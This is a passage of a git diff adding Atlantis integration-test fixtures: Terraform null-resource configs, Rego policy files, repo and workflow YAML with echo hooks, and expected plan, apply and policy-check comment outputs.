a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-apply.txt new file mode 100644 index 0000000000..7e0bd72a67 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-apply.txt @@ -0,0 +1,26 @@ +Ran Apply for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` + +--- +### 2. dir: `dir2` workspace: `default` +**Apply Failed**: All policies must pass for project before running apply. + +--- +### Apply Summary + +2 projects, 1 successful, 1 failed, 0 errored \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check-quiet.txt b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check-quiet.txt new file mode 100644 index 0000000000..57a3dfefe3 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check-quiet.txt @@ -0,0 +1,44 @@ +Ran Policy Check for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 2. dir: `dir2` workspace: `default` +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Forbidden Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d dir2 + ``` + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..944cd1ba56 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check.txt @@ -0,0 +1,64 @@ +Ran Policy Check for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +#### Policy Set: `test_policy` +```diff + +1 test, 1 passed, 0 warnings, 0 failures, 0 exceptions + +``` + + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d dir1 + ``` + +--- +### 2. dir: `dir2` workspace: `default` +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Forbidden Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d dir2 + ``` + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-autoplan.txt new file mode 100644 index 0000000000..e01442f671 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-autoplan.txt @@ -0,0 +1,86 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `dir2` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.forbidden[0] will be created ++ resource "null_resource" "forbidden" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-merge.txt new file mode 100644 index 0000000000..1a12259187 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-merge.txt @@ -0,0 +1,4 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `dir1` workspace: `default` +- dir: `dir2` workspace: `default` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/policies/policy.rego new file mode 100644 index 0000000000..4b9e5254e5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_creates[_] > 0 + reason := "WARNING: Forbidden Resource creation is prohibited." +} + +resource_names = {"forbidden"} + +resources[resource_name] = all { + some resource_name + resource_names[resource_name] + all := [res | + res := tfplan.resource_changes[_] + res.name == resource_name + ] +} + +# number of creations of resources of a given name +num_creates[resource_name] = num { + some resource_name + resource_names[resource_name] + all := resources[resource_name] + creations := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(creations) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/repos.yaml new file mode 100644 index 0000000000..56821996c2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: ../policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-apply.txt new file mode 100644 index 0000000000..9279f856ef --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-apply.txt @@ -0,0 +1,9 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +Apply complete! Resources: 0 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-autoplan.txt new file mode 100644 index 0000000000..0fe7b1646b --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-autoplan.txt @@ -0,0 +1,29 @@ +Ran Plan for dir: `.` workspace: `default` + +```diff +Changes to Outputs: ++ workspace = "default" + +You can apply this plan to save these new output values to the Terraform +state, without changing any real infrastructure. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/main.tf new file mode 100644 index 0000000000..23701278b9 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/main.tf @@ -0,0 +1,3 @@ +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-success-silent/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/repos.yaml new file mode 100644 index 0000000000..32434be4e3 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-success-silent/repos.yaml @@ -0,0 +1,12 @@ +repos: +- id: /.*/ + apply_requirements: [approved] +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply.txt new file mode 100644 index 0000000000..336a849553 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply.txt @@ -0,0 +1,14 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" + +``` + diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks/main.tf b/server/controllers/events/testdata/test-repos/policy-checks/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks/repos.yaml new file mode 100644 index 0000000000..a5fa0cb9e2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-apply.txt new file mode 100644 index 0000000000..4b78a636d5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-apply.txt @@ -0,0 +1,27 @@ +Ran Apply for 2 projects: + +1. dir: `infrastructure/production` workspace: `default` +1. dir: `infrastructure/staging` workspace: `default` +--- + +### 1. dir: `infrastructure/production` workspace: `default` +```diff +null_resource.production[0]: Creating... +null_resource.production[0]: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. +``` + +--- +### 2. dir: `infrastructure/staging` workspace: `default` +```diff +null_resource.staging[0]: Creating... +null_resource.staging[0]: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. +``` + +--- +### Apply Summary + +2 projects, 2 successful, 0 failed, 0 errored \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-autoplan.txt new file mode 100644 index 0000000000..8bf40fc657 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-autoplan.txt @@ -0,0 +1,72 @@ +Ran Plan for 2 projects: + +1. dir: `infrastructure/staging` workspace: `default` +1. dir: `infrastructure/production` workspace: `default` +--- + +### 1. dir: `infrastructure/staging` workspace: `default` +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.staging[0] will be created ++ resource "null_resource" "staging" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d infrastructure/staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d infrastructure/staging + ``` + +--- +### 2. dir: `infrastructure/production` workspace: `default` +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.production[0] will be created ++ resource "null_resource" "production" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d infrastructure/production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d infrastructure/production + ``` + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-merge.txt new file mode 100644 index 0000000000..2c4580963f --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/exp-output-merge.txt @@ -0,0 +1,4 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `infrastructure/production` workspace: `default` +- dir: `infrastructure/staging` workspace: `default` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/custom-name-atlantis.yaml b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/custom-name-atlantis.yaml new file mode 100644 index 0000000000..6d1626307e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/custom-name-atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: infrastructure/staging +- dir: infrastructure/production diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/main.tf b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/main.tf new file mode 100644 index 0000000000..ef2b2c2903 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/main.tf @@ -0,0 +1,3 @@ +resource "null_resource" "production" { + count = "1" +} diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/versions.tf b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/main.tf b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/main.tf new file mode 100644 index 0000000000..a7920c24c7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/main.tf @@ -0,0 +1,3 @@ +resource "null_resource" "staging" { + count = "1" +} diff --git a/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/versions.tf b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/testfixtures/test-repos/server-side-cfg/atlantis.yaml b/server/controllers/events/testdata/test-repos/server-side-cfg/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/server-side-cfg/atlantis.yaml rename to server/controllers/events/testdata/test-repos/server-side-cfg/atlantis.yaml diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt new file mode 100644 index 0000000000..478fd917d0 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `staging` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "staging" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-autoplan.txt new file mode 100644 index 0000000000..37e78c18af --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-autoplan.txt @@ -0,0 +1,94 @@ +Ran Plan for 2 projects: + +1. dir: `.` workspace: `default` +1. dir: `.` workspace: `staging` +--- + +### 1. dir: `.` workspace: `default` +
Show Output + +```diff +preinit custom + + +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" + +postplan custom +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `.` workspace: `staging` +
Show Output + +```diff +preinit staging + + +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -w staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -w staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/server-side-cfg/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/server-side-cfg/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/main.tf b/server/controllers/events/testdata/test-repos/server-side-cfg/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/repos.yaml b/server/controllers/events/testdata/test-repos/server-side-cfg/repos.yaml new file mode 100644 index 0000000000..01ee03dfea --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/repos.yaml @@ -0,0 +1,22 @@ +repos: +- id: /.*/ + pre_workflow_hooks: + - run: echo "hello" + workflow: custom + post_workflow_hooks: + - run: echo "hello" + allowed_overrides: [workflow] +workflows: + custom: + plan: + steps: + - run: echo preinit custom + - init + - plan + - run: echo postplan custom + staging: + plan: + steps: + - run: echo preinit staging + - init + - plan diff --git a/server/controllers/events/testdata/test-repos/server-side-cfg/versions.tf b/server/controllers/events/testdata/test-repos/server-side-cfg/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/server-side-cfg/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-autoplan.txt new file mode 100644 index 0000000000..822531032c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-autoplan.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `default` + +
